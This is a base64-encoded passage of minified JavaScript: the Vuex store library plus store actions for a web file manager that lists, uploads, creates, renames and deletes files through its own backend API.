YXIgaT1zW29dO2lmKCFpKXRocm93IG5ldyBFcnJvcignTWlzc2luZyBtb2R1bGUgIicrbysnIiBmb3IgcGF0aCAiJyt0KyciLicpO3JldHVybiByPT09bi5sZW5ndGgtMT9pOmkuX2NoaWxkcmVufSx0PT09InJvb3QiP2U6ZS5yb290Ll9jaGlsZHJlbil9ZnVuY3Rpb24geXMoZSl7dHJ5e3JldHVybiBlKCl9Y2F0Y2godCl7cmV0dXJuIHR9fXZhciB6ZT1mdW5jdGlvbih0LG4pe3RoaXMucnVudGltZT1uLHRoaXMuX2NoaWxkcmVuPU9iamVjdC5jcmVhdGUobnVsbCksdGhpcy5fcmF3TW9kdWxlPXQ7dmFyIHM9dC5zdGF0ZTt0aGlzLnN0YXRlPSh0eXBlb2Ygcz09ImZ1bmN0aW9uIj9zKCk6cyl8fHt9fSxsaT17bmFtZXNwYWNlZDp7Y29uZmlndXJhYmxlOiEwfX07bGkubmFtZXNwYWNlZC5nZXQ9ZnVuY3Rpb24oKXtyZXR1cm4hIXRoaXMuX3Jhd01vZHVsZS5uYW1lc3BhY2VkfTt6ZS5wcm90b3R5cGUuYWRkQ2hpbGQ9ZnVuY3Rpb24odCxuKXt0aGlzLl9jaGlsZHJlblt0XT1ufTt6ZS5wcm90b3R5cGUucmVtb3ZlQ2hpbGQ9ZnVuY3Rpb24odCl7ZGVsZXRlIHRoaXMuX2NoaWxkcmVuW3RdfTt6ZS5wcm90b3R5cGUuZ2V0Q2hpbGQ9ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuX2NoaWxkcmVuW3RdfTt6ZS5wcm90b3R5cGUuaGFzQ2hpbGQ9ZnVuY3Rpb24odCl7cmV0dXJuIHQgaW4gdGhpcy5fY2hpbGRyZW59O3plLnByb3RvdHlwZS51cGRhdGU9ZnVuY3Rpb24odCl7dGhpcy5fcmF3TW9kdWxlLm5hbWVzcGFjZWQ9dC5uYW1lc3BhY2VkLHQuYWN0aW9ucyYmKHRoaXMuX3Jhd01vZHVsZS5hY3Rpb25zPXQuYWN0aW9ucyksdC5tdXRhdGlvbnMmJih0aGlzLl9yYXdNb2R1bGUubXV0YXRpb25zPXQubXV0YXRpb25zKSx0LmdldHRlcnMmJih0aGlzLl9yYXdNb2R1bGUuZ2V0dGVycz10LmdldHRlcnMpfTt6ZS5wcm90b3R5cGUuZm9yRWFjaENoaWxkPWZ1bmN0aW9uKHQpe2p0KHRoaXMuX2NoaWxkcmVuLHQpfTt6ZS5wcm90b3R5cGUuZm9yRWFjaEdldHRlcj1mdW5jdGlvbih0KXt0aGlzLl9yYXdNb2R1bGUuZ2V0dGVycyYmanQodGhpcy5fcmF3TW9kdWxlLmdldHRlcnMsdCl9O3plLnByb3RvdHlwZS5mb3JFYWNoQWN0aW9uPWZ1bmN0aW9uKHQpe3RoaXMuX3Jhd01vZHVsZS5hY3Rpb25zJiZqdCh0aGlzLl9yYXdNb2R1bGUuYWN0aW9ucyx0KX07emUucHJvdG90eXBlLmZvckVhY2hNdXRhdGlvbj1mdW5jdGlvbih0KXt0aGlzLl9yYXdNb2R1bGUubXV0YXRpb25zJiZqdCh0aGlzLl9yYXdNb2R1bGUubXV0YXRpb25zLHQpfTtPYmplY3QuZGVmaW5lUHJvcGVydGllcyh6ZS5wcm90b3R5cGUsbGkpO3ZhciB4dD1mdW5jdGlvbih0KXt0aGlzLnJlZ2lzdGVyKFtdLHQsITEpfTt4dC5wcm90b3R5cGUuZ2V0PWZ1bmN0aW9uKHQpe3JldHVybiB0LnJlZHVjZShmdW5jdGlvbihuLHMpe3JldHVybiBuLmdldENoaWxkKHMpfSx0aGlzLnJvb3QpfTt4dC5wcm90b3R5cGUuZ2V0TmFtZXNwYWNlPWZ1bmN0aW9uKHQpe3ZhciBuPXRoaXMucm9vdDtyZXR1cm4gdC5yZWR1Y2UoZnVuY3Rpb24ocyxvKXtyZXR1cm4gbj1uLmdldENoaWxkKG8pLHMrKG4ubmFtZXNwYWNlZD9vKyIvIjoiIil9LCIiKX07eHQucHJvdG90eXBlLnVwZGF0ZT1mdW5jdGlvbih0KXtjaShbXSx0aGlzLnJvb3QsdCl9O3h0LnByb3RvdHlwZS5yZWdpc3Rlcj1mdW5jdGlvbih0LG4scyl7dmFyIG89dGhpcztzPT09dm9pZCAwJiYocz0hMCk7dmFyIHI9bmV3IHplKG4scyk7aWYodC5sZW5ndGg9PT0wKXRoaXMucm9vdD1yO2Vsc2V7dmFyIGk9dGhpcy5nZXQodC5zbGljZSgwLC0xKSk7aS5hZGRDaGlsZCh0W3QubGVuZ3RoLTFdLHIpfW4ubW9kdWxlcyYmanQobi5tb2R1bGVzLGZ1bmN0aW9uKGwsYyl7by5yZWdpc3Rlcih0LmNvbmNhdChjKSxsLHMpfSl9O3h0LnByb3RvdHlwZS51bnJlZ2lzdGVyPWZ1bmN0aW9uKHQpe3ZhciBuPXRoaXMuZ2V0KHQuc2xpY2UoMCwtMSkpLHM9dFt0Lmxlbmd0aC0xXSxvPW4uZ2V0Q2hpbGQocyk7byYmby5ydW50aW1lJiZuLnJlbW92ZUNoaWxkKHMpfTt4dC5wcm90b3R5cGUuaXNSZWdpc3RlcmVkPWZ1bmN0aW9uKHQpe3ZhciBuPXRoaXMuZ2V0KHQuc2xpY2UoMCwtMSkpLHM9dFt0Lmxlbmd0aC0xXTtyZXR1cm4gbj9uLmhhc0NoaWxkKHMpOiExfTtmdW5jdGlvbiBjaShlLHQsbil7aWYodC51cGRhdGUobiksbi5tb2R1bGVzKWZvcih2YXIgcyBpbiBuLm1vZHVsZXMpe2lmKCF0LmdldENoaWxkKHMpKXJldHVybjtjaShlLmNvbmNhdChzKSx0LmdldENoaWxkKHMpLG4ubW9kdWxlc1tzXSl9fWZ1bmN0aW9uIFZoKGUpe3JldHVybiBuZXcgTWUoZSl9dmFyIE1lPWZ1bmN0aW9uKHQpe3ZhciBuPXRoaXM7dD09PXZvaWQgMCYmKHQ9e30pO3ZhciBzPXQucGx1Z2lucztzPT09dm9pZCAwJiYocz1bXSk7dmFyIG89dC5zdHJpY3Q7bz09PXZvaWQgMCYmKG89ITEpO3ZhciByPXQuZGV2dG9vbHM7dGhpcy5fY29tbWl0dGluZz0hMSx0aGlzLl9hY3Rpb25zPU9iamVjdC5jcmVhdGUobnVsbCksdGhpcy5fYWN0aW9uU3Vic2NyaWJlcnM9W10sdGhpcy5fbXV0YXRpb25zPU9iamVjdC5jcmVhdGUobnVsbCksdGhpcy5fd3JhcHBlZEdldHRlcnM9T2JqZWN0LmNyZWF0ZShudWxsKSx0aGlzLl9tb2R1bGVzPW5ldyB4dCh0KSx0aGlzLl9tb2R1bGVzTmFtZXNwYWNlTWFwPU9iamVjdC5jcmVhdGUobnVsbCksdGhpcy5fc3Vic2NyaWJlcnM9W10sdGhpcy5fbWFrZUxvY2FsR2V0dGVyc0NhY2hlPU9iamVjdC5jcmVhdGUobnVsbCksdGhpcy5fc2NvcGU9bnVsbCx0aGlzLl9kZXZ0b29scz1yO3ZhciBpPXRoaXMsbD10aGlzLGM9bC5kaXNwYXRjaCxmPWwuY29tbWl0O3RoaXMuZGlzcGF0Y2g9ZnVuY3Rpb24odixUKXtyZXR1cm4gYy5jYWxsKGksdixUKX0sdGhpcy5jb21taXQ9ZnVuY3Rpb24odixULHEpe3JldHVybiBmLmNhbGwoaSx2LFQscSl9LHRoaXMuc3RyaWN0PW87dmFyIF89dGhpcy5fbW9kdWxlcy5yb290LnN0YXRlO1ZuKHRoaXMsXyxbXSx0aGlzLl9tb2R1bGVzLnJvb3QpLFVzKHRoaXMsXykscy5mb3JFYWNoKGZ1bmN0aW9uKGcpe3JldHVybiBnKG4pfSl9LFZzPXtzdGF0ZTp7Y29uZmlndXJhYmxlOiEwfX07TWUucHJvdG90eXBlLmluc3RhbGw9ZnVuY3Rpb24odCxuKXt0LnByb3ZpZGUobnx8SWgsdGhpcyksdC5jb25maWcuZ2xvYmFsUHJvcGVydGllcy4kc3RvcmU9dGhpczt2YXIgcz10aGlzLl9kZXZ0b29scyE9PXZvaWQgMD90aGlzLl9kZXZ0b29sczohMTtzJiYkaCh0LHRoaXMpfTtWcy5zdGF0ZS5nZXQ9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5fc3RhdGUuZGF0YX07VnMuc3RhdGUuc2V0PWZ1bmN0aW9uKGUpe307TWUucHJvdG90eXBlLmNvbW1pdD1mdW5jdGlvbih0LG4scyl7dmFyIG89dGhpcyxyPUNuKHQsbixzKSxpPXIudHlwZSxsPXIucGF5bG9hZCxjPXt0eXBlOmkscGF5bG9hZDpsfSxmPXRoaXMuX211dGF0aW9uc1tpXTtmJiYodGhpcy5fd2l0aENvbW1pdChmdW5jdGlvbigpe2YuZm9yRWFjaChmdW5jdGlvbihnKXtnKGwpfSl9KSx0aGlzLl9zdWJzY3JpYmVycy5zbGljZSgpLmZvckVhY2goZnVuY3Rpb24oXyl7cmV0dXJuIF8oYyxvLnN0YXRlKX0pKX07TWUucHJvdG90eXBlLmRpc3BhdGNoPWZ1bmN0aW9uKHQsbil7dmFyIHM9dGhpcyxvPUNuKHQsbikscj1vLnR5cGUsaT1vLnBheWxvYWQsbD17dHlwZTpyLHBheWxvYWQ6aX0sYz10aGlzLl9hY3Rpb25zW3JdO2lmKGMpe3RyeXt0aGlzLl9hY3Rpb25TdWJzY3JpYmVycy5zbGljZSgpLmZpbHRlcihmdW5jdGlvbihfKXtyZXR1cm4gXy5iZWZvcmV9KS5mb3JFYWNoKGZ1bmN0aW9uKF8pe3JldHVybiBfLmJlZm9yZShsLHMuc3RhdGUpfSl9Y2F0Y2h7fXZhciBmPWMubGVuZ3RoPjE/UHJvbWlzZS5hbGwoYy5tYXAoZnVuY3Rpb24oXyl7cmV0dXJuIF8oaSl9KSk6Y1swXShpKTtyZXR1cm4gbmV3IFByb21pc2UoZnVuY3Rpb24oXyxnKXtmLnRoZW4oZnVuY3Rpb24odil7dHJ5e3MuX2FjdGlvblN1YnNjcmliZXJzLmZpbHRlcihmdW5jdGlvbihUKXtyZXR1cm4gVC5hZnRlcn0pLmZvckVhY2goZnVuY3Rpb24oVCl7cmV0dXJuIFQuYWZ0ZXIobCxzLnN0YXRlKX0pfWNhdGNoe31fKHYpfSxmdW5jdGlvbih2KXt0cnl7cy5fYWN0aW9uU3Vic2NyaWJlcnMuZmlsdGVyKGZ1bmN0aW9uKFQpe3JldHVybiBULmVycm9yfSkuZm9yRWFjaChmdW5jdGlvbihUKXtyZXR1cm4gVC5lcnJvcihsLHMuc3RhdGUsdil9KX1jYXRjaHt9Zyh2KX0pfSl9fTtNZS5wcm90b3R5cGUuc3Vic2NyaWJlPWZ1bmN0aW9uKHQsbil7cmV0dXJuIGVpKHQsdGhpcy5fc3Vic2NyaWJlcnMsbil9O01lLnByb3RvdHlwZS5zdWJzY3JpYmVBY3Rpb249ZnVuY3Rpb24odCxuKXt2YXIgcz10eXBlb2YgdD09ImZ1bmN0aW9uIj97YmVmb3JlOnR9OnQ7cmV0dXJuIGVpKHMsdGhpcy5fYWN0aW9uU3Vic2NyaWJlcnMsbil9O01lLnByb3RvdHlwZS53YXRjaD1mdW5jdGlvbih0LG4scyl7dmFyIG89dGhpcztyZXR1cm4gV3QoZnVuY3Rpb24oKXtyZXR1cm4gdChvLnN0YXRlLG8uZ2V0dGVycyl9LG4sT2JqZWN0LmFzc2lnbih7fSxzKSl9O01lLnByb3RvdHlwZS5yZXBsYWNlU3RhdGU9ZnVuY3Rpb24odCl7dmFyIG49dGhpczt0aGlzLl93aXRoQ29tbWl0KGZ1bmN0aW9uKCl7bi5fc3RhdGUuZGF0YT10fSl9O01lLnByb3RvdHlwZS5yZWdpc3Rlck1vZHVsZT1mdW5jdGlvbih0LG4scyl7cz09PXZvaWQgMCYmKHM9e30pLHR5cGVvZiB0PT0ic3RyaW5nIiYmKHQ9W3RdKSx0aGlzLl9tb2R1bGVzLnJlZ2lzdGVyKHQsbiksVm4odGhpcyx0aGlzLnN0YXRlLHQsdGhpcy5fbW9kdWxlcy5nZXQodCkscy5wcmVzZXJ2ZVN0YXRlKSxVcyh0aGlzLHRoaXMuc3RhdGUpfTtNZS5wcm90b3R5cGUudW5yZWdpc3Rlck1vZHVsZT1mdW5jdGlvbih0KXt2YXIgbj10aGlzO3R5cGVvZiB0PT0ic3RyaW5nIiYmKHQ9W3RdKSx0aGlzLl9tb2R1bGVzLnVucmVnaXN0ZXIodCksdGhpcy5fd2l0aENvbW1pdChmdW5jdGlvbigpe3ZhciBzPUhzKG4uc3RhdGUsdC5zbGljZSgwLC0xKSk7ZGVsZXRlIHNbdFt0Lmxlbmd0aC0xXV19KSx0aSh0aGlzKX07TWUucHJvdG90eXBlLmhhc01vZHVsZT1mdW5jdGlvbih0KXtyZXR1cm4gdHlwZW9mIHQ9PSJzdHJpbmciJiYodD1bdF0pLHRoaXMuX21vZHVsZXMuaXNSZWdpc3RlcmVkKHQpfTtNZS5wcm90b3R5cGUuaG90VXBkYXRlPWZ1bmN0aW9uKHQpe3RoaXMuX21vZHVsZXMudXBkYXRlKHQpLHRpKHRoaXMsITApfTtNZS5wcm90b3R5cGUuX3dpdGhDb21taXQ9ZnVuY3Rpb24odCl7dmFyIG49dGhpcy5fY29tbWl0dGluZzt0aGlzLl9jb21taXR0aW5nPSEwLHQoKSx0aGlzLl9jb21taXR0aW5nPW59O09iamVjdC5kZWZpbmVQcm9wZXJ0aWVzKE1lLnByb3RvdHlwZSxWcyk7Y29uc3Qgamg9e3N0YXJ0V29yayh7Y29tbWl0OmV9KXtlKFllLldPUktJTkdfQ0hBTkdFX0JZLDEpfSxlbmRXb3JrKHtjb21taXQ6ZX0pe2UoWWUuV09SS0lOR19DSEFOR0VfQlksLTEpfSxzZXRFeHBlcnRNb2RlKHtjb21taXQ6ZX0sdCl7ZShZZS5TRVRfRVhQRVJUX01PREUsdCl9LGFkZE1lc3NhZ2Uoe2NvbW1pdDplfSx0KXtjb25zb2xlLmxvZygiVUl8YWRkaW5nIG1lc3NhZ2U6Iit0KSxlKFllLkFERF9NRVNTQUdFLHtjb2RlOjY2NixtZXNzYWdlOnQsdHlwZToiaW5mbyJ9KX0sYWRkRXJyb3Ioe2NvbW1pdDplfSx0KXtjb25zb2xlLmVycm9yKCJVSXxhZGRpbmcgZXJyb3I6Iit0KSxlKFllLkFERF9NRVNTQUdFLHtjb2RlOjY2NixtZXNzYWdlOnQsdHlwZToiZXJyb3IifSl9LGFkZFdhcm4oe2NvbW1pdDplfSx0KXtjb25zb2xlLndhcm4oIlVJfGFkZGluZyB3YXJuaW5nOiIrdCksdHlwZW9mIHQ9PSJzdHJpbmciP2UoWWUuQUREX01FU1NBR0Use2NvZGU6NjY2LG1lc3NhZ2U6dCx0eXBlOiJ3YXJuIn0pOmUoWWUuQUREX01FU1NBR0Use2NvZGU6dC5jb2RlLG1lc3NhZ2U6dC5tZXNzYWdlLHR5cGU6Indhcm4ifSl9fSxCaD17W1llLldPUktJTkdfQ0hBTkdFX0JZXShlLHQpe2Uud29ya2luZys9dCxlLndvcmtpbmc8MCYmKGUud29ya2luZz0wKSxlLmxvYWRpbmc9ZS53b3JraW5nIT09MH0sW1llLlNFVF9FWFBFUlRfTU9ERV0oZSx0KXtlLmV4cGVydF9tb2RlPXQsb2UubG9jYWxTdG9yYWdlLnNldCgiVUk6ZXhwZXJ0X21vZGUiLHQpfSxbWWUuQUREX01FU1NBR0VdKGUsdCl7ZS5sYXN0X21lc3NhZ2U9e2NvZGU6dC5jb2RlLG1lc3NhZ2U6dC5tZXNzYWdlLHRpbWU6bmV3IERhdGUoKS50b0xvY2FsZVN0cmluZygpLHR5cGU6dC50eXBlfSxlLm1lc3NhZ2VzLnB1c2goZS5sYXN0X21lc3NhZ2UpfX0sR2g9e2RhdGE6ZT0+ZS5kYXRhLGxhc3RfbWVzc2FnZTplPT5lLmxhc3RfbWVzc2FnZX0sS2g9e3dvcmtpbmc6MCxsb2FkaW5nOiExLGV4cGVydF9tb2RlOm9lLmxvY2FsU3RvcmFnZS5pc1NldCgiVUk6ZXhwZXJ0X21vZGUiKT9vZS5sb2NhbFN0b3JhZ2UuZ2V0KCJVSTpleHBlcnRfbW9kZSIpOiExLG1lc3NhZ2VzOltdLGxhc3RfbWVzc2FnZTpudWxsfSx6aD17bmFtZXNwYWNlZDohMCxtdXRhdGlvbnM6QmgsYWN0aW9uczpqaCxzdGF0ZTpLaCxnZXR0ZXJzOkdofSxXaD17c2V0V29ya2luZ0RpcmVjdG9yeSh7Y29tbWl0OmUsZGlzcGF0Y2g6dH0sbil7ZShMLlNFVF9XT1JLSU5HX0RJUixuKSx0KCJnZXRNYWluSW5mbyIpfSxzZXRCdXRDaGVja1dvcmtpbmdEaXJlY3Rvcnkoe3N0YXRlOmUsY29tbWl0OnQsZGlzcGF0Y2g6bn0scyl7cyE9PWUud29ya2luZ19kaXJlY3RvcnkmJih0KEwuU0VUX1dPUktJTkdfRElSLHMpLG4oImdldE1haW5JbmZvIikpfSxnZXRNYWluSW5mbyh7c3RhdGU6ZSxjb21taXQ6dCxkaXNwYXRjaDpufSl7bigiVUkvc3RhcnRXb3JrIixudWxsLHtyb290OiEwfSksdChMLkxPQURJTkdfU1RBUlQpO2xldCBzPU9lLmFwaV91cmwrIj90YXNrPW1haW5faW5mbyZkaXI9IitlLndvcmtpbmdfZGlyZWN0b3J5O2ZldGNoKHMpLnRoZW4obz0+e2lmKCFvLm9rKXRocm93IG5ldyBFcnJvcigiTmV0d29yayByZXNwb25zZSB3YXMgbm90IG9rIik7cmV0dXJuIG8uanNvbigpfSkudGhlbihvPT57dChMLkxPQURJTkdfT0spLG8ucmVzdWx0X21lc3NhZ2UhPT0iIiYmKG4oIlVJL2FkZEVycm9yIixvLnJlc3VsdF9tZXNzYWdlLHtyb290OiEwfSksdChMLkxPQURJTkdfRkFJTCkpLHQoTC5TRVRfTUFJTl9JTkZPLG8pLG9lLmxvY2FsU3RvcmFnZS5zZXQoImRpcmVjdG9yeSIsZS53b3JraW5nX2RpcmVjdG9yeSksZG9jdW1lbnQudGl0bGU9by50aXRsZSsiIHYiK28udmVyc2lvbn0pLmNhdGNoKG89PntuKCJVSS9hZGRFcnJvciIsbyx7cm9vdDohMH0pLHQoTC5MT0FESU5HX0ZBSUwpfSkuZmluYWxseSgoKT0+e24oIlVJL2VuZFdvcmsiLG51bGwse3Jvb3Q6ITB9KSxuKCJnZXRGaWxlcyIpfSl9LGdldEZpbGVzKHtzdGF0ZTplLGRpc3BhdGNoOnQsY29tbWl0Om59KXt0KCJVSS9zdGFydFdvcmsiLG51bGwse3Jvb3Q6ITB9KSxuKEwuTE9BRElOR19TVEFSVCk7bGV0IHM9T2UuYXBpX3VybCsiP3Rhc2s9ZmlsZXMmZGlyPSIrZS53b3JraW5nX2RpcmVjdG9yeSsiJnBhZ2U9IitlLnBhZ2UrIiZzY2FuX3N1YnM9IisoZS5zY2FuU3ViZGlycz8ieWVzIjoibm8iKSsiJm9ubHlfZXh0PSIrKGUuc2hvd09ubHlFeHQ/InllcyI6Im5vIik7ZmV0Y2gocykudGhlbihvPT57aWYoIW8ub2spdGhyb3cgbmV3IEVycm9yKCJOZXR3b3JrIHJlc3BvbnNlIHdhcyBub3Qgb2siKTtyZXR1cm4gby5qc29uKCl9KS50aGVuKG89PntvLnJlc3VsdF9tZXNzYWdlIT09IiImJih0KCJVSS9hZGRFcnJvciIsby5yZXN1bHRfbWVzc2FnZSx7cm9vdDohMH0pLG4oTC5MT0FESU5HX0ZBSUwpKSxvLndvcmtpbmdfZGlyZWN0b3J5JiZvLndvcmtpbmdfZGlyZWN0b3J5IT09ZS53b3JraW5nX2RpcmVjdG9yeSYmdCgic2V0V29ya2luZ0RpcmVjdG9yeSIsby53b3JraW5nX2RpcmVjdG9yeSksby5maWxlcyYmKG8uZmlsZXMuZm9yRWFjaChyPT57bGV0IGk9ZS5pdGVtcy5maW5kKGw9PmwuZnVsbF9wYXRoPT09ci5mdWxsX3BhdGgpO24oaT9MLlVQREFURTpMLkFERCxyKX0pLG4oTC5MT0FESU5HX09LKSxuKEwuTk9STUFMSVpFX0ZJTEVTLG8uZmlsZXMpKX0pLmNhdGNoKG89Pnt0KCJVSS9hZGRFcnJvciIsbyx7cm9vdDohMH0pLG4oTC5MT0FESU5HX0ZBSUwpfSkuZmluYWxseSgoKT0+e3QoIlVJL2VuZFdvcmsiLG51bGwse3Jvb3Q6ITB9KX0pfSxzZXRDdXJyZW50RmlsZSh7Y29tbWl0OmV9LHQpe2UoTC5TRVRfQ1VSUkVOVF9GSUxFLHQpfSx1blNldEN1cnJlbnRGaWxlKHtjb21taXQ6ZX0pe2UoTC5VTlNFVF9DVVJSRU5UX0ZJTEUpfSxuZXh0RmlsZSh7Y29tbWl0OmUsZ2V0dGVyczp0fSl7ZShMLk5FWFRfRklMRSx7Z2V0dGVyczp0fSl9LHByZXZGaWxlKHtjb21taXQ6ZSxnZXR0ZXJzOnR9KXtlKEwuUFJFVl9GSUxFLHtnZXR0ZXJzOnR9KX0sdXBsb2FkQnlVcmwoe3N0YXRlOmUsZGlzcGF0Y2g6dCxjb21taXQ6bn0se2ZpbGVfbmFtZTpzLHVybDpvfSl7dCgiVUkvc3RhcnRXb3JrIixudWxsLHtyb290OiEwfSk7bGV0IHI9T2UuYXBpX3VybCsiP3Rhc2s9dXBsb2FkX2J5X3VybCZkaXI9IitlLndvcmtpbmdfZGlyZWN0b3J5KyImZmlsZV9uYW1lPSIrcysiJnVybD0iK287ZmV0Y2gocikudGhlbihpPT57aWYoIWkub2spdGhyb3cgbmV3IEVycm9yKCJOZXR3b3JrIHJlc3BvbnNlIHdhcyBub3Qgb2siKTtyZXR1cm4gaS5qc29uKCl9KS50aGVuKGk9PntpZihpLnJlc3VsdF9tZXNzYWdlIT09IiIpe3QoIlVJL2FkZEVycm9yIixpLnJlc3VsdF9tZXNzYWdlLHtyb290OiEwfSksbihMLkxPQURJTkdfRkFJTCk7cmV0dXJufXQoIlVJL2FkZE1lc3NhZ2UiLCJTZXJ2ZXIgZG93bmxvYWRlZCAiK3MrIiBmcm9tICIrbyx7cm9vdDohMH0pLG4oTC5MT0FESU5HX09LKSx0KCJnZXRNYWluSW5mbyIpfSkuY2F0Y2goaT0+e3QoIlVJL2FkZEVycm9yIixpLHtyb290OiEwfSksbihMLkxPQURJTkdfRkFJTCl9KS5maW5hbGx5KCgpPT57dCgiVUkvZW5kV29yayIsbnVsbCx7cm9vdDohMH0pfSl9LG1rRGlyKHtzdGF0ZTplLGRpc3BhdGNoOnQsY29tbWl0Om59LHMpe3QoIlVJL3N0YXJ0V29yayIsbnVsbCx7cm9vdDohMH0pO2xldCBvPU9lLmFwaV91cmwrIj90YXNrPW1rZGlyJmRpcj0iK2Uud29ya2luZ19kaXJlY3RvcnkrIiZta2Rpcl9uYW1lPSIrcztmZXRjaChvKS50aGVuKHI9PntpZighci5vayl0aHJvdyBuZXcgRXJyb3IoIk5ldHdvcmsgcmVzcG9uc2Ugd2FzIG5vdCBvayIpO3JldHVybiByLmpzb24oKX0pLnRoZW4ocj0+e2lmKHIucmVzdWx0X21lc3NhZ2UhPT0iIil7dCgiVUkvYWRkRXJyb3IiLHIucmVzdWx0X21lc3NhZ2Use3Jvb3Q6ITB9KSxuKEwuTE9BRElOR19GQUlMKTtyZXR1cm59bihMLkxPQURJTkdfT0spLHQoIlVJL2FkZE1lc3NhZ2UiLCJEaXJlY3Rvcnk6ICIrcysiIGlzIGNyZWF0ZWQuIix7cm9vdDohMH0pLHQoImdldE1haW5JbmZvIil9KS5jYXRjaChyPT57dCgiVUkvYWRkRXJyb3IiLHIse3Jvb3Q6ITB9KSxuKEwuTE9BRElOR19GQUlMKX0pLmZpbmFsbHkoKCk9Pnt0KCJVSS9lbmRXb3JrIixudWxsLHtyb290OiEwfSl9KX0sbWtGaWxlKHtzdGF0ZTplLGRpc3BhdGNoOnQsY29tbWl0Om59LHMpe3QoIlVJL3N0YXJ0V29yayIsbnVsbCx7cm9vdDohMH0pO2xldCBvPU9lLmFwaV91cmwrIj90YXNrPW1rZmlsZSZkaXI9IitlLndvcmtpbmdfZGlyZWN0b3J5KyImbWtmaWxlX25hbWU9IitzO2ZldGNoKG8pLnRoZW4ocj0+e2lmKCFyLm9rKXRocm93IG5ldyBFcnJvcigiTmV0d29yayByZXNwb25zZSB3YXMgbm90IG9rIik7cmV0dXJuIHIuanNvbigpfSkudGhlbihyPT57aWYoci5yZXN1bHRfbWVzc2FnZSE9PSIiKXt0KCJVSS9hZGRFcnJvciIsci5yZXN1bHRfbWVzc2FnZSx7cm9vdDohMH0pLG4oTC5MT0FESU5HX0ZBSUwpO3JldHVybn1uKEwuTE9BRElOR19PSyksdCgiVUkvYWRkTWVzc2FnZSIsIkZpbGU6ICIrcysiIGlzIGNyZWF0ZWQuIix7cm9vdDohMH0pLHQoImdldE1haW5JbmZvIil9KS5jYXRjaChyPT57dCgiVUkvYWRkRXJyb3IiLHIse3Jvb3Q6ITB9KSxuKEwuTE9BRElOR19GQUlMKX0pLmZpbmFsbHkoKCk9Pnt0KCJVSS9lbmRXb3JrIixudWxsLHtyb290OiEwfSl9KX0sdXBsb2FkRmlsZXMoe3N0YXRlOmUsZGlzcGF0Y2g6dCxjb21taXQ6bn0scyl7dCgiVUkvc3RhcnRXb3JrIixudWxsLHtyb290OiEwfSk7bGV0IG89T2UuYXBpX3VybCsiP3Rhc2s9dXBsb2FkX2ZpbGVzJmRpcj0iK2Uud29ya2luZ19kaXJlY3Rvcnk7ZmV0Y2gobyx7bWV0aG9kOiJQT1NUIixib2R5OnN9KS50aGVuKHI9PntpZighci5vayl0aHJvdyBuZXcgRXJyb3IoIk5ldHdvcmsgcmVzcG9uc2Ugd2FzIG5vdCBvayIpO3JldHVybiByLmpzb24oKX0pLnRoZW4ocj0+e2lmKHIucmVzdWx0X21lc3NhZ2UhPT0iIil7dCgiVUkvYWRkRXJyb3IiLHIucmVzdWx0X21lc3NhZ2Use3Jvb3Q6ITB9KSxuKEwuTE9BRElOR19GQUlMKTtyZXR1cm59dCgiVUkvYWRkTWVzc2FnZSIsIkZpbGUgdXBsb2FkZWQuIix7cm9vdDohMH0pLG4oTC5MT0FESU5HX09LKX0pLmNhdGNoKHI9Pnt0KCJVSS9hZGRFcnJvciIscix7cm9vdDohMH0pLG4oTC5MT0FESU5HX0ZBSUwpfSkuZmluYWxseSgoKT0+e3QoIlVJL2VuZFdvcmsiLG51bGwse3Jvb3Q6ITB9KX0pfSxkZWxldGVGaWxlKHtkaXNwYXRjaDplLGNvbW1pdDp0fSxuKXtpZighY29uZmlybSgiUmVhbGx5IGRlbGV0ZSB0aGlzIGZpbGU/IikpcmV0dXJuO2UoIlVJL3N0YXJ0V29yayIsbnVsbCx7cm9vdDohMH0pO2xldCBzPU9lLmFwaV91cmwrIj90YXNrPWZpbGUtZGVsZXRlJmZpbGU9IituLmZ1bGxfcGF0aDtmZXRjaChzKS50aGVuKG89PntpZighby5vayl0aHJvdyBuZXcgRXJyb3IoIk5ldHdvcmsgcmVzcG9uc2Ugd2FzIG5vdCBvayIpO3JldHVybiBvLmpzb24oKX0pLnRoZW4obz0+e2lmKG8ucmVzdWx0X21lc3NhZ2UhPT0iIil7ZSgiVUkvYWRkRXJyb3IiLG8ucmVzdWx0X2NvZGUrIjoiK28ucmVzdWx0X21lc3NhZ2Use3Jvb3Q6ITB9KTtyZXR1cm59ZSgiVUkvYWRkTWVzc2FnZSIsIkZpbGU6ICIrbi5iYXNlX25hbWUrIiBpcyBkZWxldGVkLiIse3Jvb3Q6ITB9KSx0KEwuUkVNT1ZFLG4pfSkuY2F0Y2gobz0+e2UoIlVJL2FkZEVycm9yIixvLHtyb290OiEwfSksdChMLkxPQURJTkdfRkFJTCl9KS5maW5hbGx5KCgpPT57ZSgiVUkvZW5kV29yayIsbnVsbCx7cm9vdDohMH0pfSl9LGRlbGV0ZU1GaWxlcyh7ZGlzcGF0Y2g6ZSxjb21taXQ6dH0sbil7aWYoIWNvbmZpcm0oIlJlYWxseSBkZWxldGUgc2VsZWN0ZWQgZmlsZXM/IikpcmV0dXJuO2UoIlVJL3N0YXJ0V29yayIsbnVsbCx7cm9vdDohMH0pO2xldCBzPU9lLmFwaV91cmwrIj90YXNrPW1maWxlcy1kZWxldGUiO2ZldGNoKHMse21ldGhvZDoiUE9TVCIsYm9keTpKU09OLnN0cmluZ2lmeSh7bWZpbGVzOm59KX0pLnRoZW4obz0+e2lmKCFvLm9rKXRocm93IG5ldyBFcnJvcigiTmV0d29yayByZXNwb25zZSB3YXMgbm90IG9rIik7cmV0dXJuIG8uanNvbigpfSkudGhlbihvPT57aWYoby5yZXN1bHRfbWVzc2FnZSE9PSIiKXtlKCJVSS9hZGRFcnJvciIsby5yZXN1bHRfY29kZSsiOiIrby5yZXN1bHRfbWVzc2FnZSx7cm9vdDohMH0pO3JldHVybn1lKCJVSS9hZGRNZXNzYWdlIixuLmxlbmd0aCsiIGZpbGUocykgd2FzIGRlbGV0ZWQiLHtyb290OiEwfSksZSgiZ2V0TWFpbkluZm8iKSxuLmxlbmd0aD0wfSkuY2F0Y2gobz0+e2UoIlVJL2FkZEVycm9yIixvLHtyb290OiEwfSksdChMLkxPQURJTkdfRkFJTCl9KS5maW5hbGx5KCgpPT57ZSgiVUkvZW5kV29yayIsbnVsbCx7cm9vdDohMH0pfSl9LHJlbmFtZUZpbGUoe2Rpc3BhdGNoOmUsY29tbWl0OnR9LHtmaWxlOm4sbmV3X25hbWU6c30pe2UoIlVJL3N0YXJ0V29yayIsbnVsbCx7cm9vdDohMH0pO2xldCBvPU9lLmFwaV91cmwrIj90YXNr